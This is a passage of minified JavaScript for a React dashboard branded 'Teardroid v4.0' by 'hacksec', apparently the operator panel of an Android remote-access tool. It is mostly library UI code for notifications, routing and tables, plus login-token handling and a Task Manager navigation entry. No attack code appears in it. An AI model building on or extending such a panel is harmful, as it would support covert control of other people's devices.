Toastify__bounce-enter",exit:"Toastify--animate Toastify__bounce-exit",appendPosition:!0}),Ru=function(e){var t=Cu(e),n=t.getToastToRender,a=t.containerRef,o=t.isToastActive,i=e.className,l=e.style,s=e.rtl,u=e.containerId;function c(e){var t,n=su("Toastify__toast-container","Toastify__toast-container--"+e,((t={})["Toastify__toast-container--rtl"]=s,t));return hu(i)?i({position:e,rtl:s,defaultClassName:n}):su(n,mu(i))}return(0,r.createElement)("div",{ref:a,className:"Toastify",id:u},n((function(e,t){var n=0===t.length?uu({},l,{pointerEvents:"none"}):uu({},l);return(0,r.createElement)("div",{className:c(e),style:n,key:"container-"+e},t.map((function(e){var t=e.content,n=e.props;return(0,r.createElement)(Iu,Object.assign({},n,{isIn:o(n.toastId),key:"toast-"+n.key,closeButton:!0===n.closeButton?Au:n.closeButton}),t)})))})))};Ru.defaultProps={position:yu.TOP_RIGHT,transition:ju,rtl:!1,autoClose:5e3,hideProgressBar:!1,closeButton:Au,pauseOnHover:!0,pauseOnFocusLoss:!0,closeOnClick:!0,newestOnTop:!1,draggable:!0,draggablePercent:80,draggableDirection:"x",role:"alert",theme:"light"};var Bu,Du,Hu,zu=new Map,Uu=[],Wu=!1;function Vu(){return Math.random().toString(36).substr(2,9)}function qu(e){return e&&(pu(e.toastId)||du(e.toastId))?e.toastId:Vu()}function Zu(e,t){return zu.size>0?Eu.emit(0,e,t):(Uu.push({content:e,options:t}),Wu&&gu&&(Wu=!1,Du=document.createElement("div"),document.body.appendChild(Du),(0,a.render)((0,r.createElement)(Ru,Object.assign({},Hu)),Du))),t.toastId}function Ku(e,t){return uu({},t,{type:t&&t.type||e,toastId:qu(t)})}var Gu=function(e){return function(t,n){return Zu(t,Ku(e,n))}},$u=function(e,t){return Zu(e,Ku(wu.DEFAULT,t))};function Yu(e,t,n,r,a,o,i){try{var l=e[o](i),s=l.value}catch(u){return void n(u)}l.done?t(s):Promise.resolve(s).then(r,a)}function Qu(e){return function(){var t=this,n=arguments;return new Promise((function(r,a){var o=e.apply(t,n);function i(e){Yu(o,r,a,i,l,"next",e)}function l(e){Yu(o,r,a,i,l,"throw",e)}i(void 0)}))}}$u.loading=function(e,t){return Zu(e,Ku(wu.DEFAULT,uu({isLoading:!0,autoClose:!1,closeOnClick:!1,closeButton:!1,draggable:!1},t)))},$u.promise=function(e,t,n){var r,a=t.pending,o=t.error,i=t.success;a&&(r=pu(a)?$u.loading(a,n):$u.loading(a.render,uu({},n,a)));var l={isLoading:null,autoClose:null,closeOnClick:null,closeButton:null,draggable:null},s=function(e,t,a){var o=uu({type:e},l,n,{data:a}),i=pu(t)?{render:t}:t;return r?$u.update(r,uu({},o,i)):$u(i.render,uu({},o,i)),a},u=hu(e)?e():e;return u.then((function(e){return i&&s("success",i,e)})).catch((function(e){return o&&s("error",o,e)})),u},$u.success=Gu(wu.SUCCESS),$u.info=Gu(wu.INFO),$u.error=Gu(wu.ERROR),$u.warn=$u.warning=Gu(wu.WARNING),$u.dark=function(e,t){return Zu(e,Ku(wu.DEFAULT,uu({theme:"dark"},t)))},$u.dismiss=function(e){return Eu.emit(1,e)},$u.clearWaitingQueue=function(e){return void 0===e&&(e={}),Eu.emit(5,e)},$u.isActive=function(e){var t=!1;return zu.forEach((function(n){n.isToastActive&&n.isToastActive(e)&&(t=!0)})),t},$u.update=function(e,t){void 0===t&&(t={}),setTimeout((function(){var n=function(e,t){var n=t.containerId,r=zu.get(n||Bu);return r?r.getToast(e):null}(e,t);if(n){var r=n.props,a=n.content,o=uu({},r,t,{toastId:t.toastId||e,updateId:Vu()});o.toastId!==e&&(o.staleId=e);var i=o.render||a;delete o.render,Zu(i,o)}}),0)},$u.done=function(e){$u.update(e,{progress:1})},$u.onChange=function(e){return hu(e)&&Eu.on(4,e),function(){hu(e)&&Eu.off(4,e)}},$u.configure=function(e){void 0===e&&(e={}),Wu=!0,Hu=e},$u.POSITION=yu,$u.TYPE=wu,Eu.on(2,(function(e){Bu=e.containerId||e,zu.set(Bu,e),Uu.forEach((function(e){Eu.emit(0,e.content,e.options)})),Uu=[]})).on(3,(function(e){zu.delete(e.containerId||e),0===zu.size&&Eu.off(0).off(1).off(5),gu&&Du&&document.body.removeChild(Du)}));var Xu,Ju=n(7757),ec=n.n(Ju),tc="access_token",nc=function(){var e=Qu(ec().mark((function e(t){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:localStorage.setItem(tc,t),window.location.href="/v4/overview";case 2:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),rc=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:localStorage.removeItem(tc),window.location.reload();case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),ac=function(){return!!localStorage.getItem(tc)},oc=n(184),ic=function(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1],a=ne((0,r.useState)(""),2),o=a[0],i=a[1],l=ne((0,r.useState)(""),2),s=l[0],u=l[1];return(0,oc.jsxs)("div",{style:{marginTop:"auto"},children:[(0,oc.jsx)("a",{onClick:function(){return window.location.href="https://contact-us-hacksec.deta.dev/contactus/"},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Contact us"})})}),(0,oc.jsx)("a",{onClick:function(){return rc()},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Logout"})})}),(0,oc.jsx)("a",{onClick:function(){return n(!0)},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Change password"})})}),(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Teardroid v4.0"})}),(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Made in India with \u2764\ufe0f"})}),(0,oc.jsx)(ll,{open:t,onClose:function(){return n(!1)},title:"Change password",primaryAction:{content:"Change password",onAction:function(){iu().post("/auth/password/change",{old_password:o,new_password:s}).then((function(e){$u.success(e.data.message),n(!1)})).catch((function(e){$u.error(e.response.data.detail)}))}},children:(0,oc.jsx)("div",{style:{padding:"10px"},children:(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Old password : ",value:o,onChange:function(e){return i(e)},autoComplete:"on"}),(0,oc.jsx)(Ql,{label:"New password : ",value:s,onChange:function(e){return u(e)},autoComplete:"on"})]})})})]})},lc=n(173),sc=function(e){var t=e.actualPageMarkup,n=e.Location,a=(0,r.useRef)({emailFieldValue:"script@hacksec.in",nameFieldValue:"script1337"}),o=(0,r.useRef)(null),i=ne((0,r.useState)(!1),2),l=i[0],s=i[1],u=ne((0,r.useState)(!1),2),c=u[0],d=u[1],f=ne((0,r.useState)(!1),2),p=f[0],h=f[1],m=ne((0,r.useState)(!1),2),v=m[0],g=m[1],b=ne((0,r.useState)(!1),2),y=b[0],w=b[1],x=ne((0,r.useState)(a.current.nameFieldValue),2),E=x[0],S=x[1],k=ne((0,r.useState)(a.current.emailFieldValue),2),_=k[0],C=k[1],P=ne((0,r.useState)(a.current.nameFieldValue),2),N=P[0],T=P[1],A=ne((0,r.useState)(""),2),M=A[0],L=A[1],O=ne((0,r.useState)(""),2),F=O[0],I=O[1],j=(0,r.useCallback)((function(e){return L(e)}),[]),R=(0,r.useCallback)((function(e){return I(e)}),[]),B=(0,r.useCallback)((function(){C(a.current.emailFieldValue),S(a.current.nameFieldValue),d(!1)}),[]),D=(0,r.useCallback)((function(){a.current.nameFieldValue=E,a.current.emailFieldValue=_,d(!1),s(!0),T(a.current.nameFieldValue)}),[_,E]),H=(0,r.useCallback)((function(){return s((function(e){return!e}))}),[]),z=(0,r.useCallback)((function(){return h((function(e){return!e}))}),[]),U=(0,r.useCallback)((function(){return g((function(e){return!e}))}),[]),W=(0,r.useCallback)((function(){return w((function(e){return!e}))}),[]),V=l?(0,oc.jsx)($e,{onDismiss:H,content:"Changes saved"}):null,q=c?(0,oc.jsx)(Ye,{message:"Unsaved changes",saveAction:{onAction:D},discardAction:{onAction:B}}):null,Z=((0,r.useCallback)((function(){console.log("toggle navigation visibility")}),[]),(0,oc.jsx)(Ua.UserMenu,{name:"Hacksec",detail:N,initials:"H",open:p,onToggle:z})),K=(0,oc.jsx)(Ua,{showNavigationToggle:!0,userMenu:Z,onNavigationToggle:U}),G=(0,oc.jsxs)(Wo,{location:n,children:[(0,oc.jsx)("img",{style:{padding:"15px"},src:"https://ik.imagekit.io/jiqzdjrnxp9/IMG-20220122-WA0000_RdKN5Rv3U.jpg?ik-sdk-version=javascript-1.4.3&updatedAt=1642847363169"}),(0,oc.jsx)(Wo.Section,{title:"Teardroid v4.0",items:[{url:"/v4/overview",label:"Overview",icon:Js},{url:"/v4/task",label:"Task Manager",icon:eu},{url:"/v4/notification",label:"Notification",icon:tu}]}),(0,oc.jsx)(ic,{})]}),$=(0,oc.jsx)(ll,{open:y,onClose:W,title:"Contact support",primaryAction:{content:"Send",onAction:W,icon:nu},children:(0,oc.jsx)(ll.Section,{children:(0,oc.jsxs)(bl,{children:[(0,oc.jsx)(Ql,{label:"Subject",value:M,onChange:j,autoComplete:"off"}),(0,oc.jsx)(Ql,{label:"Message",value:F,onChange:R,autoComplete:"off",multiline:!0})]})})});return(0,oc.jsxs)($s,{topBar:lc.tq?K:null,navigation:G,showMobileNavigation:v,onNavigationDismiss:U,skipToContentTarget:o.current,children:[q,t,V,$]})},uc=Xu||(Xu={});uc.Pop="POP",uc.Push="PUSH",uc.Replace="REPLACE";var cc=function(e){return e};function dc(e){e.preventDefault(),e.returnValue=""}function fc(){var e=[];return{get length(){return e.length},push:function(t){return e.push(t),function(){e=e.filter((function(e){return e!==t}))}},call:function(t){e.forEach((function(e){return e&&e(t)}))}}}function pc(){return Math.random().toString(36).substr(2,8)}function hc(e){var t=e.pathname;t=void 0===t?"/":t;var n=e.search;return n=void 0===n?"":n,e=void 0===(e=e.hash)?"":e,n&&"?"!==n&&(t+="?"===n.charAt(0)?n:"?"+n),e&&"#"!==e&&(t+="#"===e.charAt(0)?e:"#"+e),t}function mc(e){var t={};if(e){var n=e.indexOf("#");0<=n&&(t.hash=e.substr(n),e=e.substr(0,n)),0<=(n=e.indexOf("?"))&&(t.search=e.substr(n),e=e.substr(0,n)),e&&(t.pathname=e)}return t}function vc(e,t){if(!e)throw new Error(t)}var gc=(0,r.createContext)(null);var bc=(0,r.createContext)(null);var yc=(0,r.createContext)({outlet:null,matches:[]});function wc(e){var t=e.to,n=e.replace,a=e.state;Cc()||vc(!1);var o=Nc();return(0,r.useEffect)((function(){o(t,{replace:n,state:a})})),null}function xc(e){return function(e){var t=(0,r.useContext)(yc).outlet;if(t)return(0,r.createElement)(Tc.Provider,{value:e},t);return t}(e.context)}function Ec(e){vc(!1)}function Sc(e){var t=e.basename,n=void 0===t?"/":t,a=e.children,o=void 0===a?null:a,i=e.location,l=e.navigationType,s=void 0===l?Xu.Pop:l,u=e.navigator,c=e.static,d=void 0!==c&&c;Cc()&&vc(!1);var f=Uc(n),p=(0,r.useMemo)((function(){return{basename:f,navigator:u,static:d}}),[f,u,d]);"string"===typeof i&&(i=mc(i));var h=i,m=h.pathname,v=void 0===m?"/":m,g=h.search,b=void 0===g?"":g,y=h.hash,w=void 0===y?"":y,x=h.state,E=void 0===x?null:x,S=h.key,k=void 0===S?"default":S,_=(0,r.useMemo)((function(){var e=Hc(v,f);return null==e?null:{pathname:e,search:b,hash:w,state:E,key:k}}),[f,v,b,w,E,k]);return null==_?null:(0,r.createElement)(gc.Provider,{value:p},(0,r.createElement)(bc.Provider,{children:o,value:{location:_,navigationType:s}}))}function kc(e){var t=e.children,n=e.location;return function(e,t){Cc()||vc(!1);var n=(0,r.useContext)(yc).matches,a=n[n.length-1],o=a?a.params:{},i=(a&&a.pathname,a?a.pathnameBase:"/");a&&a.route;0;var l,s=Pc();if(t){var u,c="string"===typeof t?mc(t):t;"/"===i||(null==(u=c.pathname)?void 0:u.startsWith(i))||vc(!1),l=c}else l=s;var d=l.pathname||"/",f="/"===i?d:d.slice(i.length)||"/",p=function(e,t,n){void 0===n&&(n="/");var r=Hc(("string"===typeof t?mc(t):t).pathname||"/",n);if(null==r)return null;var a=Lc(e);!function(e){e.sort((function(e,t){return e.score!==t.score?t.score-e.score:function(e,t){var n=e.length===t.length&&e.slice(0,-1).every((function(e,n){return e===t[n]}));return n?e[e.length-1]-t[t.length-1]:0}(e.routesMeta.map((function(e){return e.childrenIndex})),t.routesMeta.map((function(e){return e.childrenIndex})))}))}(a);for(var o=null,i=0;null==o&&i0&&(!0===e.index&&vc(!1),Lc(e.children,t,l,i)),(null!=e.path||e.index)&&t.push({path:i,score:Ic(i,e.index),routesMeta:l})})),t}var Oc=/^:\w+$/,Fc=function(e){return"*"===e};function Ic(e,t){var n=e.split("/"),r=n.length;return n.some(Fc)&&(r+=-2),t&&(r+=2),n.filter((function(e){return!Fc(e)})).reduce((function(e,t){return e+(Oc.test(t)?3:""===t?1:10)}),r)}function jc(e,t){for(var n=e.routesMeta,r={},a="/",o=[],i=0;i=0?t[i]:"/"}var s=function(e,t){void 0===t&&(t="/");var n="string"===typeof e?mc(e):e,r=n.pathname,a=n.search,o=void 0===a?"":a,i=n.hash,l=void 0===i?"":i,s=r?r.startsWith("/")?r:function(e,t){var n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach((function(e){".."===e?n.length>1&&n.pop():"."!==e&&n.push(e)})),n.length>1?n.join("/"):"/"}(r,t):t;return{pathname:s,search:Wc(o),hash:Vc(l)}}(a,r);return o&&"/"!==o&&o.endsWith("/")&&!s.pathname.endsWith("/")&&(s.pathname+="/"),s}function Hc(e,t){if("/"===t)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;var n=e.charAt(t.length);return n&&"/"!==n?null:e.slice(t.length)||"/"}var zc=function(e){return e.join("/").replace(/\/\/+/g,"/")},Uc=function(e){return e.replace(/\/+$/,"").replace(/^\/*/,"/")},Wc=function(e){return e&&"?"!==e?e.startsWith("?")?e:"?"+e:""},Vc=function(e){return e&&"#"!==e?e.startsWith("#")?e:"#"+e:""};function qc(){return qc=Object.assign||function(e){for(var t=1;t=0||(a[n]=e[n]);return a}var Kc=["onClick","reloadDocument","replace","state","target","to"];function Gc(e){var t=e.basename,n=e.children,a=e.window,o=(0,r.useRef)();null==o.current&&(o.current=function(e){function t(){var e=i.location,t=l.state||{};return[t.idx,cc({pathname:e.pathname,search:e.search,hash:e.hash,state:t.usr||null,key:t.key||"default"})]}function n(e){return"string"===typeof e?e:hc(e)}function r(e,t){return void 0===t&&(t=null),cc(Vo({pathname:d.pathname,hash:"",search:""},"string"===typeof e?mc(e):e,{state:t,key:pc()}))}function a(e){u=e,e=t(),c=e[0],d=e[1],f.call({action:u,location:d})}function o(e){l.go(e)}void 0===e&&(e={});var i=void 0===(e=e.window)?document.defaultView:e,l=i.history,s=null;i.addEventListener("popstate",(function(){if(s)p.call(s),s=null;else{var e=Xu.Pop,n=t(),r=n[0];if(n=n[1],p.length){if(null!=r){var i=c-r;i&&(s={action:e,location:n,retry:function(){o(-1*i)}},o(i))}}else a(e)}}));var u=Xu.Pop,c=(e=t())[0],d=e[1],f=fc(),p=fc();return null==c&&(c=0,l.replaceState(Vo({},l.state,{idx:c}),"")),{get action(){return u},get location(){return d},createHref:n,push:function e(t,o){var s=Xu.Push,u=r(t,o);if(!p.length||(p.call({action:s,location:u,retry:function(){e(t,o)}}),0)){var d=[{usr:u.state,key:u.key,idx:c+1},n(u)];u=d[0],d=d[1];try{l.pushState(u,"",d)}catch(f){i.location.assign(d)}a(s)}},replace:function e(t,o){var i=Xu.Replace,s=r(t,o);p.length&&(p.call({action:i,location:s,retry:function(){e(t,o)}}),1)||(s=[{usr:s.state,key:s.key,idx:c},n(s)],l.replaceState(s[0],"",s[1]),a(i))},go:o,back:function(){o(-1)},forward:function(){o(1)},listen:function(e){return f.push(e)},block:function(e){var t=p.push(e);return 1===p.length&&i.addEventListener("beforeunload",dc),function(){t(),p.length||i.removeEventListener("beforeunload",dc)}}}}({window:a}));var i=o.current,l=ne((0,r.useState)({action:i.action,location:i.location}),2),s=l[0],u=l[1];return(0,r.useLayoutEffect)((function(){return i.listen(u)}),[i]),(0,r.createElement)(Sc,{basename:t,children:n,location:s.location,navigationType:s.action,navigator:i})}var $c=(0,r.forwardRef)((function(e,t){var n=e.onClick,a=e.reloadDocument,o=e.replace,i=void 0!==o&&o,l=e.state,s=e.target,u=e.to,c=Zc(e,Kc),d=_c(u),f=function(e,t){var n=void 0===t?{}:t,a=n.target,o=n.replace,i=n.state,l=Nc(),s=Pc(),u=Ac(e);return(0,r.useCallback)((function(t){if(0===t.button&&(!a||"_self"===a)&&!function(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}(t)){t.preventDefault();var n=!!o||hc(s)===hc(u);l(e,{replace:n,state:i})}}),[s,l,u,o,i,a,e])}(u,{replace:i,state:l,target:s});return(0,r.createElement)("a",qc({},c,{href:d,onClick:function(e){n&&n(e),e.defaultPrevented||a||f(e)},ref:t,target:s}))}));var Yc;function Qc(e){if("id"in e)return e.id;throw new Error("Your resource does not directly contain an `id`. Pass a `resourceIDResolver` to `useIndexResourceState`")}(function(e){e.All="all",e.Page="page",e.Multi="multi",e.Single="single"})(Yc||(Yc={}));var Xc;function Jc(e){var t=e.title,n=e.description,a=e.withIllustration,o=jt().translate("Polaris.EmptySearchResult.altText"),i=n?r.createElement("p",null,n):null,l=a?r.createElement(Ba,{alt:o,source:"data:image/svg+xml,%3csvg width='60' height='60' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill-rule='evenodd' clip-rule='evenodd' d='M41.87 24a17.87 17.87 0 11-35.74 0 17.87 17.87 0 0135.74 0zm-3.15 18.96a24 24 0 114.24-4.24L59.04 54.8a3 3 0 11-4.24 4.24L38.72 42.96z' fill='%238C9196'/%3e%3c/svg%3e",draggable:!1}):null;return r.createElement(Vr,{alignment:"center",vertical:!0},l,r.createElement(Ui,{size:"small"},t),r.createElement(Sa,{variation:"subdued"},i))}var ed,td=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Xc||(Xc=r.createElement("path",{fillRule:"evenodd",d:"M4.5 3A1.5 1.5 0 0 0 3 4.5v11A1.5 1.5 0 0 0 4.5 17h11a1.5 1.5 0 0 0 1.5-1.5v-11A1.5 1.5 0 0 0 15.5 3h-11zm9.207 5.707a1 1 0 0 0-1.414-1.414L9 10.586 7.707 9.293a1 1 0 0 0-1.414 1.414l2 2a1 1 0 0 0 1.414 0l4-4z"})))},nd={IndexTable:"Polaris-IndexTable","LoadingContainer-enter":"Polaris-IndexTable__LoadingContainer--enter","LoadingContainer-enter-active":"Polaris-IndexTable--loadingContainerEnterActive","LoadingContainer-exit":"Polaris-IndexTable__LoadingContainer--exit","LoadingContainer-exit-active":"Polaris-IndexTable--loadingContainerExitActive",LoadingPanel:"Polaris-IndexTable__LoadingPanel",LoadingPanelRow:"Polaris-IndexTable__LoadingPanelRow",LoadingPanelText:"Polaris-IndexTable__LoadingPanelText",Table:"Polaris-IndexTable__Table","Table-scrolling":"Polaris-IndexTable__Table--scrolling","TableCell-first":"Polaris-IndexTable__TableCell--first",TableCell:"Polaris-IndexTable__TableCell","TableHeading-first":"Polaris-IndexTable__TableHeading--first","TableHeading-second":"Polaris-IndexTable__TableHeading--second","Table-unselectable":"Polaris-IndexTable__Table--unselectable",TableRow:"Polaris-IndexTable__TableRow","TableRow-unclickable":"Polaris-IndexTable__TableRow--unclickable",statusSuccess:"Polaris-IndexTable--statusSuccess",statusSubdued:"Polaris-IndexTable--statusSubdued","TableRow-hovered":"Polaris-IndexTable__TableRow--hovered","TableRow-selected":"Polaris-IndexTable__TableRow--selected","TableRow-subdued":"Polaris-IndexTable__TableRow--subdued",TableHeading:"Polaris-IndexTable__TableHeading",ColumnHeaderCheckboxWrapper:"Polaris-IndexTable__ColumnHeaderCheckboxWrapper",FirstStickyHeaderElement:"Polaris-IndexTable__FirstStickyHeaderElement","TableHeading-unselectable":"Polaris-IndexTable__TableHeading--unselectable","TableCell-flush":"Polaris-IndexTable__TableCell--flush","Table-sticky-scrolling":"Polaris-IndexTable--tableStickyScrolling","TableHeading-last":"Polaris-IndexTable__TableHeading--last","Table-sticky-last":"Polaris-IndexTable--tableStickyLast",StickyTable:"Polaris-IndexTable__StickyTable",StickyTableHeader:"Polaris-IndexTable__StickyTableHeader","StickyTableHeader-isSticky":"Polaris-IndexTable__StickyTableHeader--isSticky",StickyTableColumnHeader:"Polaris-IndexTable__StickyTableColumnHeader","StickyTableColumnHeader-isScrolling":"Polaris-IndexTable__StickyTableColumnHeader--isScrolling",StickyTableHeadings:"Polaris-IndexTable__StickyTableHeadings","StickyTableHeading-second":"Polaris-IndexTable__StickyTableHeading--second",unselectable:"Polaris-IndexTable--unselectable","StickyTableHeading-second-scrolling":"Polaris-IndexTable--stickyTableHeadingSecondScrolling",ScrollLeft:"Polaris-IndexTable__ScrollLeft",ScrollRight:"Polaris-IndexTable__ScrollRight","ScrollRight-onboarding":"Polaris-IndexTable__ScrollRight--onboarding",BulkActionsWrapper:"Polaris-IndexTable__BulkActionsWrapper",ScrollBarContainer:"Polaris-IndexTable__ScrollBarContainer",scrollBarContainerCondensed:"Polaris-IndexTable--scrollBarContainerCondensed",ScrollBar:"Polaris-IndexTable__ScrollBar",disableTextSelection:"Polaris-IndexTable--disableTextSelection",selectMode:"Polaris-IndexTable--selectMode",EmptySearchResultWrapper:"Polaris-IndexTable__EmptySearchResultWrapper",condensedRow:"Polaris-IndexTable--condensedRow",CondensedList:"Polaris-IndexTable__CondensedList",HeaderWrapper:"Polaris-IndexTable__HeaderWrapper","StickyTable-condensed":"Polaris-IndexTable__StickyTable--condensed","StickyTableHeader-condensed":"Polaris-IndexTable__StickyTableHeader--condensed",ScrollBarContent:"Polaris-IndexTable__ScrollBarContent"},rd="All";!function(e){e.All="all",e.Page="page",e.Multi="multi",e.Single="single"}(ed||(ed={}));var ad=(0,r.createContext)(void 0),od=(0,r.createContext)(void 0),id=(0,r.createContext)(void 0);function ld(){var e=(0,r.useContext)(od);if(!e)throw new Error("Missing IndexProvider context");return e}function sd(){var e=(0,r.useContext)(ad);if(!e)throw new Error("Missing IndexProvider context");return e}function ud(e){var t=e.children,n=e.resourceName,a=e.loading,o=e.onSelectionChange,i=e.selectedItemsCount,l=void 0===i?0:i,s=e.itemCount,u=e.hasMoreItems,c=e.condensed,d=e.selectable,f=void 0===d||d,p=function(e){var t=e.selectedItemsCount,n=e.itemCount,r=e.hasMoreItems,a=e.resourceName,o=jt(),i=Boolean(t),l="All"===t||t>0,s={singular:o.translate("Polaris.IndexProvider.defaultItemSingular"),plural:o.translate("Polaris.IndexProvider.defaultItemPlural")},u=a||s,c=function(){if(i&&r)return t===rd?o.translate("Polaris.IndexProvider.allItemsSelected",{itemsLength:n,resourceNamePlural:u.plural.toLocaleLowerCase()}):void 0}(),d=function(){var e=t===rd?"".concat(n,"+"):t;return o.translate("Polaris.IndexProvider.selected",{selectedItemsCount:e})}(),f=function(){var e=n,r=t===e;return 1===e&&r?o.translate("Polaris.IndexProvider.a11yCheckboxDeselectAllSingle",{resourceNameSingular:u.singular}):1===e?o.translate("Polaris.IndexProvider.a11yCheckboxSelectAllSingle",{resourceNameSingular:u.singular}):r?o.translate("Polaris.IndexProvider.a11yCheckboxDeselectAllMultiple",{itemsLength:n,resourceNamePlural:u.plural}):o.translate("Polaris.IndexProvider.a11yCheckboxSelectAllMultiple",{itemsLength:n,resourceNamePlural:u.plural})}(),p="indeterminate";return t&&0!==t?t!==rd&&t!==n||(p=!0):p=void 0,{paginatedSelectAllText:c,bulkActionsLabel:d,bulkActionsAccessibilityLabel:f,resourceName:u,selectMode:l,bulkSelectState:p,selectable:i}}({selectedItemsCount:l,itemCount:s,hasMoreItems:u,resourceName:n}),h=p.paginatedSelectAllText,m=p.bulkActionsLabel,v=p.bulkActionsAccessibilityLabel,g=p.resourceName,b=p.selectMode,y=p.bulkSelectState,w=function(e){var t=e.onSelectionChange,n=void 0===t?function(){}:t,a=(0,r.useRef)(null);return(0,r.useCallback)((function(e,t,r,o){var i=a.current;if(ed.Multi&&"number"===typeof o&&(a.current=o),e===ed.Single||e===ed.Multi&&("number"!==typeof i||"number"!==typeof o))n(ed.Single,t,r);else if(e===ed.Multi){var l=Math.min(i,o),s=Math.max(i,o);n(e,t,[l,s])}else e!==ed.Page&&e!==ed.All||n(e,t)}),[n])}({onSelectionChange:o}),x=(0,r.useMemo)((function(){return{itemCount:s,selectMode:b&&f,selectable:f,resourceName:g,loading:a,paginatedSelectAllText:h,hasMoreItems:u,bulkActionsLabel:m,bulkActionsAccessibilityLabel:v,bulkSelectState:y,selectedItemsCount:l,condensed:c}}),[s,b,f,g,a,h,u,m,v,y,l,c]),E=(0,r.useMemo)((function(){return{selectable:f,selectMode:b&&f,condensed:c}}),[c,b,f]);return r.createElement(ad.Provider,{value:x},r.createElement(id.Provider,{value:E},r.createElement(od.Provider,{value:w},t)))}var cd,dd,fd=(0,r.memo)((function(e){var t=e.children,n=e.flush,a=Xe(nd.TableCell,n&&nd["TableCell-flush"]);return r.createElement("td",{className:a},t)})),pd="Polaris-IndexTable-Checkbox__TableCellContentContainer",hd="Polaris-IndexTable-Checkbox__Wrapper",md="Polaris-IndexTable-Checkbox--expanded",vd="Polaris-IndexTable-Checkbox--condensed",gd=(0,r.createContext)({}),bd=(0,r.createContext)(void 0),yd={scrollableContainer:null,canScrollLeft:!1,canScrollRight:!1},wd=(0,r.createContext)(yd),xd=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),cd||(cd=r.createElement("path",{d:"M15 9H5a1 1 0 1 0 0 2h10a1 1 0 1 0 0-2z"})))},Ed=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),dd||(dd=r.createElement("path",{d:"m8.315 13.859-3.182-3.417a.506.506 0 0 1 0-.684l.643-.683a.437.437 0 0 1 .642 0l2.22 2.393 4.942-5.327a.436.436 0 0 1 .643 0l.643.684a.504.504 0 0 1 0 .683l-5.91 6.35a.437.437 0 0 1-.642 0"})))},Sd=(0,r.createContext)(!1),kd="Polaris-Checkbox",_d="Polaris-Checkbox__Input",Cd="Polaris-Checkbox--keyFocused",Pd="Polaris-Checkbox__Backdrop",Nd="Polaris-Checkbox__Input--indeterminate",Td="Polaris-Checkbox__Icon",Ad="Polaris-Checkbox--hover",Md="Polaris-Checkbox--error",Ld={Choice:"Polaris-Choice",labelHidden:"Polaris-Choice--labelHidden",Label:"Polaris-Choice__Label",Control:"Polaris-Choice__Control",disabled:"Polaris-Choice--disabled",Descriptions:"Polaris-Choice__Descriptions",HelpText:"Polaris-Choice__HelpText"};function Od(e){var t=e.id,n=e.label,a=e.disabled,o=e.error,i=e.children,l=e.labelHidden,s=e.helpText,u=e.onClick,c=e.onMouseOut,d=e.onMouseOver,f=Xe(Ld.Choice,l&&Ld.labelHidden,a&&Ld.disabled),p=r.createElement("label",{className:f,htmlFor:t,onClick:u,onMouseOver:d,onMouseOut:c},r.createElement("span",{className:Ld.Control},i),r.createElement("span",{className:Ld.Label},n)),h=s?r.createElement("div",{className:Ld.HelpText,id:Fd(t)},s):null,m=o&&"boolean"!==typeof o&&r.createElement("div",{className:Ld.Error},r.createElement(Al,{message:o,fieldID:t})),v=h||m?r.createElement("div",{className:Ld.Descriptions},m,h):null;return v?r.createElement("div",null,p,v):p}function Fd(e){return"".concat(e,"HelpText")}var Id=(0,r.forwardRef)((function(e,t){var n=e.ariaControls,a=e.ariaDescribedBy,o=e.label,i=e.labelHidden,l=e.checked,s=void 0!==l&&l,u=e.helpText,c=e.disabled,d=e.id,f=e.name,p=e.value,h=e.error,m=e.onChange,v=e.onFocus,g=e.onBlur,b=(0,r.useRef)(null),y=qe("Checkbox",d),w=rt(!1),x=w.value,E=w.setTrue,S=w.setFalse,k=ne((0,r.useState)(!1),2),_=k[0],C=k[1],P=(0,r.useContext)(Sd);(0,r.useImperativeHandle)(t,(function(){return{focus:function(){b.current&&b.current.focus()}}}));var N=[];h&&"boolean"!==typeof h&&N.push(Ml(y)),u&&N.push(Fd(y)),a&&N.push(a);var T=N.length?N.join(" "):void 0,A=Xe(kd,h&&Md),M=Xe(Pd,x&&Ad),L="indeterminate"===s,O=!L&&Boolean(s),F=L?{indeterminate:"true","aria-checked":"mixed"}:{"aria-checked":O},I=L?xd:Ed,j=Xe(_d,L&&Nd,_&&Cd);return r.createElement(Od,{id:y,label:o,labelHidden:i,helpText:u,error:h,disabled:c,onMouseOver:E,onMouseOut:S},r.createElement("span",{className:A},r.createElement("input",Object.assign({ref:b,id:y,name:f,value:p,type:"checkbox",checked:O,disabled:c,className:j,onBlur:function(){g&&g(),C(!1)},onChange:jd,onClick:function(){null==m||null==b.current||c||(m(b.current.checked,y),b.current.focus())},onFocus:v,onKeyUp:function(e){var t=e.keyCode;t!==Hn.Space&&t!==Hn.Tab||!_&&C(!0)},"aria-invalid":null!=h,"aria-controls":n,"aria-describedby":T,role:P?"presentation":"checkbox"},F)),r.createElement("span",{className:M,onClick:Rd,onKeyUp:Rd}),r.createElement("span",{className:Td},r.createElement(zt,{source:I}))))}));function jd(){}function Rd(e){e.stopPropagation()}var Bd=(0,r.memo)((function(){var 